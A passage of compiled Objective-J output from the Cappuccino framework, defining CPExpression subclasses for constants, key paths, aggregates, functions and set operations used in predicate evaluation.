return objj_msgSend(objj_msgSend(CPExpression_variable,"alloc"),"initWithVariable:",_1b);
}
}),new objj_method(sel_getUid("expressionForKeyPath:"),function(_1c,_1d,_1e){
with(_1c){
return objj_msgSend(objj_msgSend(CPExpression_keypath,"alloc"),"initWithKeyPath:",_1e);
}
}),new objj_method(sel_getUid("expressionForAggregate:"),function(_1f,_20,_21){
with(_1f){
return objj_msgSend(objj_msgSend(CPExpression_aggregate,"alloc"),"initWithAggregate:",_21);
}
}),new objj_method(sel_getUid("expressionForUnionSet:with:"),function(_22,_23,_24,_25){
with(_22){
return objj_msgSend(objj_msgSend(CPExpression_unionset,"alloc"),"initWithLeft:right:",_24,_25);
}
}),new objj_method(sel_getUid("expressionForIntersectSet:with:"),function(_26,_27,_28,_29){
with(_26){
return objj_msgSend(objj_msgSend(CPExpression_intersectset,"alloc"),"initWithLeft:right:",_28,_29);
}
}),new objj_method(sel_getUid("expressionForMinusSet:with:"),function(_2a,_2b,_2c,_2d){
with(_2a){
return objj_msgSend(objj_msgSend(CPExpression_minusset,"alloc"),"initWithLeft:right:",_2c,_2d);
}
}),new objj_method(sel_getUid("expressionForFunction:arguments:"),function(_2e,_2f,_30,_31){
with(_2e){
return objj_msgSend(objj_msgSend(CPExpression_function,"alloc"),"initWithSelector:arguments:",CPSelectorFromString(_30),_31);
}
}),new objj_method(sel_getUid("expressionForFunction:selectorName:arguments:"),function(_32,_33,_34,_35,_36){
with(_32){
return objj_msgSend(objj_msgSend(CPExpression_function,"alloc"),"initWithTarget:selector:arguments:",_34,CPSelectorFromString(_35),_36);
}
}),new objj_method(sel_getUid("expressionForSubquery:usingIteratorVariable:predicate:"),function(_37,_38,_39,_3a,_3b){
with(_37){
return nil;
}
})]);
objj_executeFile("CPExpression_constant.j",YES);
objj_executeFile("CPExpression_self.j",YES);
objj_executeFile("CPExpression_variable.j",YES);
objj_executeFile("CPExpression_keypath.j",YES);
objj_executeFile("CPExpression_function.j",YES);
objj_executeFile("CPExpression_aggregate.j",YES);
objj_executeFile("CPExpression_unionset.j",YES);
objj_executeFile("CPExpression_intersectset.j",YES);
objj_executeFile("CPExpression_minusset.j",YES);
p;24;CPExpression_aggregate.jt;3086;@STATIC;1.0;i;14;CPExpression.jI;20;Foundation/CPArray.jI;21;Foundation/CPString.jt;2997;
objj_executeFile("CPExpression.j",YES);
objj_executeFile("Foundation/CPArray.j",NO);
objj_executeFile("Foundation/CPString.j",NO);
var _1=objj_allocateClassPair(CPExpression,"CPExpression_aggregate"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_aggregate")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithAggregate:"),function(_3,_4,_5){
with(_3){
objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPExpression_aggregate").super_class},"initWithExpressionType:",CPAggregateExpressionType);
_aggregate=_5;
return _3;
}
}),new objj_method(sel_getUid("initWithCoder:"),function(_6,_7,_8){
with(_6){
var _9=objj_msgSend(_8,"decodeObjectForKey:","CPExpressionAggregate");
return objj_msgSend(_6,"initWithAggregate:",_9);
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_a,_b,_c){
with(_a){
objj_msgSend(_c,"encodeObject:forKey:",_aggregate,"CPExpressionAggregate");
}
}),new objj_method(sel_getUid("isEqual:"),function(_d,_e,_f){
with(_d){
if(_d==_f){
return YES;
}
if(_f.isa!=_d.isa||objj_msgSend(_f,"expressionType")!=objj_msgSend(_d,"expressionType")||!objj_msgSend(objj_msgSend(_f,"collection"),"isEqual:",objj_msgSend(_d,"collection"))){
return NO;
}
return YES;
}
}),new objj_method(sel_getUid("collection"),function(_10,_11){
with(_10){
return _aggregate;
}
}),new objj_method(sel_getUid("rightExpression"),function(_12,_13){
with(_12){
if(objj_msgSend(_aggregate,"count")>0){
return objj_msgSend(_aggregate,"lastObject");
}
return nil;
}
}),new objj_method(sel_getUid("leftExpression"),function(_14,_15){
with(_14){
if(objj_msgSend(_aggregate,"count")>0){
return objj_msgSend(_aggregate,"objectAtIndex:",0);
}
return nil;
}
}),new objj_method(sel_getUid("expressionValueWithObject:context:"),function(_16,_17,_18,_19){
with(_16){
var _1a=objj_msgSend(CPArray,"array"),_1b=objj_msgSend(_aggregate,"objectEnumerator"),exp;
while(exp=objj_msgSend(_1b,"nextObject")){
var _1c=objj_msgSend(exp,"expressionValueWithObject:context:",_18,_19);
if(_1c!=nil){
objj_msgSend(_1a,"addObject:",_1c);
}
}
return _1a;
}
}),new objj_method(sel_getUid("description"),function(_1d,_1e){
with(_1d){
var i,_1f=objj_msgSend(_aggregate,"count"),_20="{";
for(i=0;i<_1f;i++){
_20=_20+objj_msgSend(CPString,"stringWithFormat:","%s%s",objj_msgSend(objj_msgSend(_aggregate,"objectAtIndex:",i),"description"),(i+1<_1f)?", ":"");
}
_20=_20+"}";
return _20;
}
}),new objj_method(sel_getUid("_expressionWithSubstitutionVariables:"),function(_21,_22,_23){
with(_21){
var _24=objj_msgSend(CPArray,"array"),_25=objj_msgSend(_aggregate,"count"),i;
for(i=0;i<_25;i++){
objj_msgSend(_24,"addObject:",objj_msgSend(objj_msgSend(_aggregate,"objectAtIndex:",i),"_expressionWithSubstitutionVariables:",_23));
}
return objj_msgSend(CPExpression,"expressionForAggregate:",_24);
}
})]);
class_addMethods(_2,[new objj_method(sel_getUid("expressionForAggregate:"),function(_26,_27,_28){
with(_26){
return objj_msgSend(objj_msgSend(_26,"alloc"),"initWithAggregate:",_28);
}
})]);
p;25;CPExpression_assignment.jt;2785;@STATIC;1.0;i;14;CPExpression.ji;23;CPExpression_variable.jI;21;Foundation/CPString.jt;2693;
objj_executeFile("CPExpression.j",YES);
objj_executeFile("CPExpression_variable.j",YES);
objj_executeFile("Foundation/CPString.j",NO);
var _1=objj_allocateClassPair(CPExpression,"CPExpression_assignment"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_assignmentVariable"),new objj_ivar("_subexpression")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithAssignmentVariable:expression:"),function(_3,_4,_5,_6){
with(_3){
_assignmentVariable=objj_msgSend(CPExpression,"expressionForVariable:",_5);
_subexpression=_6;
return _3;
}
}),new objj_method(sel_getUid("initWithAssignmentExpression:expression:"),function(_7,_8,_9,_a){
with(_7){
_assignmentVariable=_9;
_subexpression=_a;
return _7;
}
}),new objj_method(sel_getUid("initWithCoder:"),function(_b,_c,_d){
with(_b){
var _e=objj_msgSend(_d,"decodeObjectForKey:","CPExpressionAssignmentVariable");
var _f=objj_msgSend(_d,"decodeObjectForKey:","CPExpressionAssignmentExpression");
return objj_msgSend(_b,"initWithAssignmentVariable:expression:",_e,_f);
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_10,_11,_12){
with(_10){
objj_msgSend(_12,"encodeObject:forKey:",_assignmentVariable,"CPExpressionAssignmentVariable");
objj_msgSend(_12,"encodeObject:forKey:",_subexpression,"CPExpressionAssignmentExpression");
}
}),new objj_method(sel_getUid("isEqual:"),function(_13,_14,_15){
with(_13){
if(_13==_15){
return YES;
}
if(_15.isa!=_13.isa||objj_msgSend(_15,"expressionType")!=objj_msgSend(_13,"expressionType")||!objj_msgSend(objj_msgSend(_15,"subexpression"),"isEqual:",objj_msgSend(_13,"subexpression"))||!objj_msgSend(objj_msgSend(_15,"variable"),"isEqualToString:",objj_msgSend(_13,"variable"))){
return NO;
}
return YES;
}
}),new objj_method(sel_getUid("assignmentVariable"),function(_16,_17){
with(_16){
return _assignmentVariable;
}
}),new objj_method(sel_getUid("subexpression"),function(_18,_19){
with(_18){
return _subexpression;
}
}),new objj_method(sel_getUid("variable"),function(_1a,_1b){
with(_1a){
return objj_msgSend(_assignmentVariable,"variable");
}
}),new objj_method(sel_getUid("description"),function(_1c,_1d){
with(_1c){
var _1e=objj_msgSend(_expression,"description");
if(objj_msgSend(_subexpression,"isKindOfClass:",objj_msgSend(CPExpression_operator,"class"))){
_1e=objj_msgSend(CPString,"stringWithFormat:","(%@)",_1e);
}
return objj_msgSend(CPString,"stringWithFormat:","%@ := %@",objj_msgSend(_1c,"variable"),_1e);
}
}),new objj_method(sel_getUid("expressionValueWithObject:context:"),function(_1f,_20,_21,_22){
with(_1f){
return nil;
}
}),new objj_method(sel_getUid("_expressionWithSubstitutionVariables:"),function(_23,_24,_25){
with(_23){
return nil;
}
})]);
p;23;CPExpression_constant.jt;1814;@STATIC;1.0;i;14;CPExpression.jI;25;Foundation/CPDictionary.jt;1746;
objj_executeFile("CPExpression.j",YES);
objj_executeFile("Foundation/CPDictionary.j",NO);
var _1=objj_allocateClassPair(CPExpression,"CPExpression_constant"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_value")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithValue:"),function(_3,_4,_5){
with(_3){
objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPExpression_constant").super_class},"initWithExpressionType:",CPConstantValueExpressionType);
_value=_5;
return _3;
}
}),new objj_method(sel_getUid("initWithCoder:"),function(_6,_7,_8){
with(_6){
var _9=objj_msgSend(_8,"decodeObjectForKey:","CPExpressionConstantValue");
return objj_msgSend(_6,"initWithValue:",_9);
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_a,_b,_c){
with(_a){
objj_msgSend(_c,"encodeObject:forKey:",_value,"CPExpressionConstantValue");
}
}),new objj_method(sel_getUid("isEqual:"),function(_d,_e,_f){
with(_d){
if(_d==_f){
return YES;
}
if(_f.isa!=_d.isa||objj_msgSend(_f,"expressionType")!=objj_msgSend(_d,"expressionType")||!objj_msgSend(objj_msgSend(_f,"constantValue"),"isEqual:",objj_msgSend(_d,"constantValue"))){
return NO;
}
return YES;
}
}),new objj_method(sel_getUid("constantValue"),function(_10,_11){
with(_10){
return _value;
}
}),new objj_method(sel_getUid("expressionValueWithObject:context:"),function(_12,_13,_14,_15){
with(_12){
return _value;
}
}),new objj_method(sel_getUid("_expressionWithSubstitutionVariables:"),function(_16,_17,_18){
with(_16){
return _16;
}
}),new objj_method(sel_getUid("description"),function(_19,_1a){
with(_19){
if(objj_msgSend(_value,"isKindOfClass:",objj_msgSend(CPString,"class"))){
return "\""+_value+"\"";
}
return objj_msgSend(_value,"description");
}
})]);
p;23;CPExpression_function.jt;11558;@STATIC;1.0;i;14;CPExpression.jI;21;Foundation/CPString.jI;20;Foundation/CPArray.jI;25;Foundation/CPDictionary.jt;11438;
objj_executeFile("CPExpression.j",YES);
objj_executeFile("Foundation/CPString.j",NO);
objj_executeFile("Foundation/CPArray.j",NO);
objj_executeFile("Foundation/CPDictionary.j",NO);
var _1=objj_allocateClassPair(CPExpression,"CPExpression_function"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_operand"),new objj_ivar("_selector"),new objj_ivar("_arguments"),new objj_ivar("_argc")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithSelector:arguments:"),function(_3,_4,_5,_6){
with(_3){
objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPExpression_function").super_class},"initWithExpressionType:",CPFunctionExpressionType);
if(!objj_msgSend(_3,"respondsToSelector:",_5)){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Unknown function implementation: "+_5);
}
_selector=_5;
_operand=nil;
_arguments=_6;
_argc=objj_msgSend(_6,"count");
return _3;
}
}),new objj_method(sel_getUid("initWithTarget:selector:arguments:"),function(_7,_8,_9,_a,_b){
with(_7){
objj_msgSendSuper({receiver:_7,super_class:objj_getClass("CPExpression_function").super_class},"initWithExpressionType:",CPFunctionExpressionType);
var _c=objj_msgSend(_9,"expressionValueWithObject:context:",object,context);
if(!objj_msgSend(_c,"respondsToSelector:",_a)){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Unknown function implementation: "+_a);
}
_selector=_a;
_operand=_9;
_arguments=_b;
_argc=objj_msgSend(_b,"count");
return _7;
}
}),new objj_method(sel_getUid("initWithCoder:"),function(_d,_e,_f){
with(_d){
var _10=CPSelectorFromString(objj_msgSend(_f,"decodeObjectForKey:","CPExpressionFunctionName"));
var _11=objj_msgSend(_f,"decodeObjectForKey:","CPExpressionFunctionArguments");
return objj_msgSend(_d,"initWithSelector:arguments:",_10,_11);
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_12,_13,_14){
with(_12){
objj_msgSend(_14,"encodeObject:forKey:",objj_msgSend(_12,"_function"),"CPExpressionFunctionName");
objj_msgSend(_14,"encodeObject:forKey:",_arguments,"CPExpressionArguments");
}
}),new objj_method(sel_getUid("isEqual:"),function(_15,_16,_17){
with(_15){
if(_15==_17){
return YES;
}
if(_17.isa!=_15.isa||objj_msgSend(_17,"expressionType")!=objj_msgSend(_15,"expressionType")||!objj_msgSend(objj_msgSend(_17,"_function"),"isEqualToString:",objj_msgSend(_15,"_function"))||!objj_msgSend(objj_msgSend(_17,"operand"),"isEqual:",objj_msgSend(_15,"operand"))||!objj_msgSend(objj_msgSend(_17,"arguments"),"isEqualToArray:",objj_msgSend(_15,"arguments"))){
return NO;
}
return YES;
}
}),new objj_method(sel_getUid("_function"),function(_18,_19){
with(_18){
return CPStringFromSelector(_selector);
}
}),new objj_method(sel_getUid("function"),function(_1a,_1b){
with(_1a){
return objj_msgSend(_1a,"_function");
}
}),new objj_method(sel_getUid("arguments"),function(_1c,_1d){
with(_1c){
return _arguments;
}
}),new objj_method(sel_getUid("operand"),function(_1e,_1f){
with(_1e){
return _operand;
}
}),new objj_method(sel_getUid("expressionValueWithObject:context:"),function(_20,_21,_22,_23){
with(_20){
var _24=objj_msgSend(CPArray,"array"),i;
for(i=0;i<_argc;i++){
var arg=objj_msgSend(objj_msgSend(_arguments,"objectAtIndex:",i),"expressionValueWithObject:context:",_22,_23);
if(arg!=nil){
objj_msgSend(_24,"addObject:",arg);
}
}
var _25=(_operand==nil)?_20:objj_msgSend(_operand,"expressionValueWithObject:context:",_22,_23);
return objj_msgSend(_25,"performSelector:withObject:",_selector,_24);
}
}),new objj_method(sel_getUid("description"),function(_26,_27){
with(_26){
var _28=objj_msgSend(CPString,"stringWithFormat:","%@ %s(",objj_msgSend(_operand,"description"),objj_msgSend(_26,"_function")),i;
for(i=0;i<_argc;i++){
_28=_28+objj_msgSend(_arguments,"objectAtIndex:",i)+(i+1<_argc)?", ":"";
}
_28=_28+")";
return _28;
}
}),new objj_method(sel_getUid("_expressionWithSubstitutionVariables:"),function(_29,_2a,_2b){
with(_29){
var _2c=objj_msgSend(CPArray,"array"),i;
for(i=0;i<_argc;i++){
objj_msgSend(_2c,"addObject:",objj_msgSend(objj_msgSend(_arguments,"objectAtIndex:",i),"_expressionWithSubstitutionVariables:",_2b));
}
return objj_msgSend(CPExpression,"expressionForFunction:selectorName:arguments:",objj_msgSend(_29,"operand"),objj_msgSend(_29,"_function"),_2c);
}
}),new objj_method(sel_getUid("sum:"),function(_2d,_2e,_2f){
with(_2d){
if(_argc<1){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
var i,sum=0;
for(i=0;i<_argc;i++){
sum+=objj_msgSend(objj_msgSend(_2f,"objectAtIndex:",i),"doubleValue");
}
return objj_msgSend(CPNumber,"numberWithDouble:",sum);
}
}),new objj_method(sel_getUid("count:"),function(_30,_31,_32){
with(_30){
if(_argc<1){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
return objj_msgSend(CPNumber,"numberWithUnsignedInt:",objj_msgSend(objj_msgSend(_32,"objectAtIndex:",0),"count"));
}
}),new objj_method(sel_getUid("min:"),function(_33,_34,_35){
with(_33){
if(_argc<1){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
return MIN(objj_msgSend(_35,"objectAtIndex:",0),objj_msgSend(_35,"objectAtIndex:",1));
}
}),new objj_method(sel_getUid("max:"),function(_36,_37,_38){
with(_36){
if(_argc<1){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
return MAX(objj_msgSend(_38,"objectAtIndex:",0),objj_msgSend(_38,"objectAtIndex:",1));
}
}),new objj_method(sel_getUid("average:"),function(_39,_3a,_3b){
with(_39){
if(_argc<1){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
var i,sum=0;
for(i=0;i<_argc;i++){
sum+=objj_msgSend(objj_msgSend(_3b,"objectAtIndex:",i),"doubleValue");
}
return objj_msgSend(CPNumber,"numberWithDouble:",sum/_argc);
}
}),new objj_method(sel_getUid("add::"),function(_3c,_3d,to,_3e){
with(_3c){
if(_argc!=2){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
var _3f=objj_msgSend(_3e,"objectAtIndex:",0),_40=objj_msgSend(_3e,"objectAtIndex:",1);
return objj_msgSend(CPNumber,"numberWithDouble:",objj_msgSend(_3f,"doubleValue")+objj_msgSend(_40,"doubleValue"));
}
}),new objj_method(sel_getUid("from::"),function(_41,_42,_43,_44){
with(_41){
if(_argc!=2){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
var _45=objj_msgSend(_44,"objectAtIndex:",0),_46=objj_msgSend(_44,"objectAtIndex:",1);
return objj_msgSend(CPNumber,"numberWithDouble:",objj_msgSend(_45,"doubleValue")-objj_msgSend(_46,"doubleValue"));
}
}),new objj_method(sel_getUid("multiply::"),function(_47,_48,by,_49){
with(_47){
if(_argc!=2){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
var _4a=objj_msgSend(_49,"objectAtIndex:",0),_4b=objj_msgSend(_49,"objectAtIndex:",1);
return objj_msgSend(CPNumber,"numberWithDouble:",objj_msgSend(_4a,"doubleValue")*objj_msgSend(_4b,"doubleValue"));
}
}),new objj_method(sel_getUid("divide::"),function(_4c,_4d,by,_4e){
with(_4c){
if(_argc!=2){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
var _4f=objj_msgSend(_4e,"objectAtIndex:",0),_50=objj_msgSend(_4e,"objectAtIndex:",1);
return objj_msgSend(CPNumber,"numberWithDouble:",objj_msgSend(_4f,"doubleValue")/objj_msgSend(_50,"doubleValue"));
}
}),new objj_method(sel_getUid("sqrt:"),function(_51,_52,_53){
with(_51){
if(_argc!=1){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
var num=objj_msgSend(objj_msgSend(_53,"objectAtIndex:",0),"doubleValue");
return objj_msgSend(CPNumber,"numberWithDouble:",SQRT(num));
}
}),new objj_method(sel_getUid("raise::"),function(_54,_55,to,_56){
with(_54){
if(_argc<2){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
var num=objj_msgSend(objj_msgSend(_56,"objectAtIndex:",0),"doubleValue"),_57=objj_msgSend(objj_msgSend(_56,"objectAtIndex:",1),"doubleValue");
return objj_msgSend(CPNumber,"numberWithDouble:",POW(num,_57));
}
}),new objj_method(sel_getUid("abs:"),function(_58,_59,_5a){
with(_58){
if(_argc!=1){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
var num=objj_msgSend(objj_msgSend(_5a,"objectAtIndex:",0),"doubleValue");
return objj_msgSend(CPNumber,"numberWithDouble:",ABS(num));
}
}),new objj_method(sel_getUid("now"),function(_5b,_5c){
with(_5b){
return objj_msgSend(CPDate,"date");
}
}),new objj_method(sel_getUid("ln:"),function(_5d,_5e,_5f){
with(_5d){
if(_argc!=1){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
var num=objj_msgSend(objj_msgSend(_5f,"objectAtIndex:",0),"doubleValue");
return objj_msgSend(CPNumber,"numberWithDouble:",Math.log(num));
}
}),new objj_method(sel_getUid("exp:"),function(_60,_61,_62){
with(_60){
if(_argc!=1){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
var num=objj_msgSend(objj_msgSend(_62,"objectAtIndex:",0),"doubleValue");
return objj_msgSend(CPNumber,"numberWithDouble:",EXP(num));
}
}),new objj_method(sel_getUid("ceiling:"),function(_63,_64,_65){
with(_63){
if(_argc!=1){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
var num=objj_msgSend(objj_msgSend(_65,"objectAtIndex:",0),"doubleValue");
return objj_msgSend(CPNumber,"numberWithDouble:",CEIL(num));
}
}),new objj_method(sel_getUid("random"),function(_66,_67){
with(_66){
return objj_msgSend(CPNumber,"numberWithDouble:",RAND());
}
}),new objj_method(sel_getUid("modulus::"),function(_68,_69,by,_6a){
with(_68){
if(_argc!=2){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
var _6b=objj_msgSend(_6a,"objectAtIndex:",0),_6c=objj_msgSend(_6a,"objectAtIndex:",1);
return objj_msgSend(CPNumber,"numberWithInt:",(objj_msgSend(_6b,"intValue")%objj_msgSend(_6c,"intValue")));
}
}),new objj_method(sel_getUid("first:"),function(_6d,_6e,_6f){
with(_6d){
if(_argc==0){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
return objj_msgSend(objj_msgSend(_6f,"objectAtIndex:",0),"objectAtIndex:",0);
}
}),new objj_method(sel_getUid("last:"),function(_70,_71,_72){
with(_70){
if(_argc==0){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
return objj_msgSend(objj_msgSend(_72,"objectAtIndex:",0),"lastObject");
}
}),new objj_method(sel_getUid("chs:"),function(_73,_74,_75){
with(_73){
if(_argc==0){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
return objj_msgSend(CPNumber,"numberWithInt:",-objj_msgSend(objj_msgSend(_75,"objectAtIndex:",0),"intValue"));
}
}),new objj_method(sel_getUid("index:"),function(_76,_77,_78){
with(_76){
if(_argc<2){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"Invalid number of parameters");
}
var _79=objj_msgSend(_78,"objectAtIndex:",0),_7a=objj_msgSend(_78,"objectAtIndex:",1);
if(objj_msgSend(_79,"isKindOfClass:",objj_msgSend(CPDictionary,"class"))){
return objj_msgSend(_79,"objectForKey:",_7a);
}else{
return objj_msgSend(_79,"objectAtIndex:",objj_msgSend(_7a,"intValue"));
}
}
})]);
p;27;CPExpression_intersectset.jt;3032;@STATIC;1.0;i;14;CPExpression.jt;2994;
objj_executeFile("CPExpression.j",YES);
var _1=objj_allocateClassPair(CPExpression,"CPExpression_intersectset"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_left"),new objj_ivar("_right")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithLeft:right:"),function(_3,_4,_5,_6){
with(_3){
objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPExpression_intersectset").super_class},"initWithExpressionType:",CPIntersectSetExpressionType);
_left=_5;
_right=_6;
return _3;
}
}),new objj_method(sel_getUid("initWithCoder:"),function(_7,_8,_9){
with(_7){
var _a=objj_msgSend(_9,"decodeObjectForKey:","CPExpressionUnionSetLeftExpression");
var _b=objj_msgSend(_9,"decodeObjectForKey:","CPExpressionUnionSetRightExpression");
return objj_msgSend(_7,"initWithLeft:right:",_a,_b);
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_c,_d,_e){
with(_c){
objj_msgSend(_e,"encodeObject:forKey:",_left,"CPExpressionUnionSetLeftExpression");
objj_msgSend(_e,"encodeObject:forKey:",_right,"CPExpressionUnionSetRightExpression");
}
}),new objj_method(sel_getUid("isEqual:"),function(_f,_10,_11){
with(_f){
if(_f==_11){
return YES;
}
if(_11.isa!=_f.isa||objj_msgSend(_11,"expressionType")!=objj_msgSend(_f,"expressionType")||!objj_msgSend(objj_msgSend(_11,"leftExpression"),"isEqual:",objj_msgSend(_f,"leftExpression"))||!objj_msgSend(objj_msgSend(_11,"rightExpression"),"isEqual:",objj_msgSend(_f,"rightExpression"))){
return NO;
}
return YES;
}
}),new objj_method(sel_getUid("expressionValueWithObject:context:"),function(_12,_13,_14,_15){
with(_12){
var _16=objj_msgSend(_right,"expressionValueWithObject:context:",_14,_15);
if(!objj_msgSend(_16,"respondsToSelector:",sel_getUid("objectEnumerator"))){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"The right expression for a CPIntersectSetExpressionType expression must be either a CPArray, CPDictionary or CPSet");
}
var _17=objj_msgSend(_left,"expressionValueWithObject:context:",_14,_15);
if(!objj_msgSend(_17,"isKindOfClass:",objj_msgSend(CPSet,"set"))){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"The left expression for a CPIntersectSetExpressionType expression must a CPSet");
}
var set=objj_msgSend(CPSet,"setWithSet:",_17),e=objj_msgSend(_16,"objectEnumerator"),_18;
while(_18=objj_msgSend(e,"nextObject")){
if(objj_msgSend(_17,"containsObject:",_18)){
objj_msgSend(set,"addObject:",_18);
}
}
return objj_msgSend(CPExpression,"expressionForConstantValue:",set);
}
}),new objj_method(sel_getUid("_expressionWithSubstitutionVariables:"),function(_19,_1a,_1b){
with(_19){
return _19;
}
}),new objj_method(sel_getUid("leftExpression"),function(_1c,_1d){
with(_1c){
return _left;
}
}),new objj_method(sel_getUid("rightExpression"),function(_1e,_1f){
with(_1e){
return _right;
}
}),new objj_method(sel_getUid("description"),function(_20,_21){
with(_20){
return objj_msgSend(_left,"description")+" INTERSECT "+objj_msgSend(_right,"description");
}
})]);
p;22;CPExpression_keypath.jt;1788;@STATIC;1.0;i;14;CPExpression.jI;21;Foundation/CPString.jI;29;Foundation/CPKeyValueCoding.jt;1690;
objj_executeFile("CPExpression.j",YES);
objj_executeFile("Foundation/CPString.j",NO);
objj_executeFile("Foundation/CPKeyValueCoding.j",NO);
var _1=objj_allocateClassPair(CPExpression,"CPExpression_keypath"),_2=_1.isa;
class_addIvars(_1,[new objj_ivar("_keyPath")]);
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithKeyPath:"),function(_3,_4,_5){
with(_3){
objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPExpression_keypath").super_class},"initWithExpressionType:",CPKeyPathExpressionType);
_keyPath=_5;
return _3;
}
}),new objj_method(sel_getUid("initWithCoder:"),function(_6,_7,_8){
with(_6){
var _9=objj_msgSend(_8,"decodeObjectForKey:","CPExpressionKeyPath");
return objj_msgSend(_6,"initWithKeyPath:",_9);
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_a,_b,_c){
with(_a){
objj_msgSend(_c,"encodeObject:forKey:",_keyPath,"CPExpressionKeyPath");
}
}),new objj_method(sel_getUid("isEqual:"),function(_d,_e,_f){
with(_d){
if(_d==_f){
return YES;
}
if(_f.isa!=_d.isa||objj_msgSend(_f,"expressionType")!=objj_msgSend(_d,"expressionType")||!objj_msgSend(objj_msgSend(_f,"keyPath"),"isEqualToString:",objj_msgSend(_d,"keyPath"))){
return NO;
}
return YES;
}
}),new objj_method(sel_getUid("keyPath"),function(_10,_11){
with(_10){
return _keyPath;
}
}),new objj_method(sel_getUid("expressionValueWithObject:context:"),function(_12,_13,_14,_15){
with(_12){
return objj_msgSend(_14,"valueForKeyPath:",_keyPath);
}
}),new objj_method(sel_getUid("_expressionWithSubstitutionVariables:"),function(_16,_17,_18){
with(_16){
return _16;
}
}),new objj_method(sel_getUid("description"),function(_19,_1a){
with(_19){
return _keyPath;
}
})]);
p;23;CPExpression_minusset.jt;2903;@STATIC;1.0;i;14;CPExpression.jt;2865;
objj_executeFile("CPExpression.j",YES);
var _1=objj_allocateClassPair(CPExpression,"CPExpression_minusset"),_2=_1.isa;
objj_registerClassPair(_1);
class_addMethods(_1,[new objj_method(sel_getUid("initWithLeft:right:"),function(_3,_4,_5,_6){
with(_3){
objj_msgSendSuper({receiver:_3,super_class:objj_getClass("CPExpression_minusset").super_class},"initWithExpressionType:",CPMinusSetExpressionType);
_left=_5;
_right=_6;
return _3;
}
}),new objj_method(sel_getUid("initWithCoder:"),function(_7,_8,_9){
with(_7){
var _a=objj_msgSend(_9,"decodeObjectForKey:","CPExpressionMinusSetLeftExpression");
var _b=objj_msgSend(_9,"decodeObjectForKey:","CPExpressionMinusSetRightExpression");
return objj_msgSend(_7,"initWithLeft:right:",_a,_b);
}
}),new objj_method(sel_getUid("encodeWithCoder:"),function(_c,_d,_e){
with(_c){
objj_msgSend(_e,"encodeObject:forKey:",_left,"CPExpressionMinusSetLeftExpression");
objj_msgSend(_e,"encodeObject:forKey:",_right,"CPExpressionMinusSetRightExpression");
}
}),new objj_method(sel_getUid("isEqual:"),function(_f,_10,_11){
with(_f){
if(_f==_11){
return YES;
}
if(_11.isa!=_f.isa||objj_msgSend(_11,"expressionType")!=objj_msgSend(_f,"expressionType")||!objj_msgSend(objj_msgSend(_11,"leftExpression"),"isEqual:",objj_msgSend(_f,"leftExpression"))||!objj_msgSend(objj_msgSend(_11,"rightExpression"),"isEqual:",objj_msgSend(_f,"rightExpression"))){
return NO;
}
return YES;
}
}),new objj_method(sel_getUid("expressionValueWithObject:context:"),function(_12,_13,_14,_15){
with(_12){
var _16=objj_msgSend(_right,"expressionValueWithObject:context:",_14,_15);
if(!objj_msgSend(_16,"respondsToSelector:",sel_getUid("objectEnumerator"))){
objj_msgSend(CPException,"raise:reason:",CPInvalidArgumentException,"The right expression for a CPIntersectSetExpressionType expression must be either a CPArray, CPDictionary or CPSet");
}
var _17=objj_msgSend(_left,"expressionValueWithObject:context:",_14,_15);
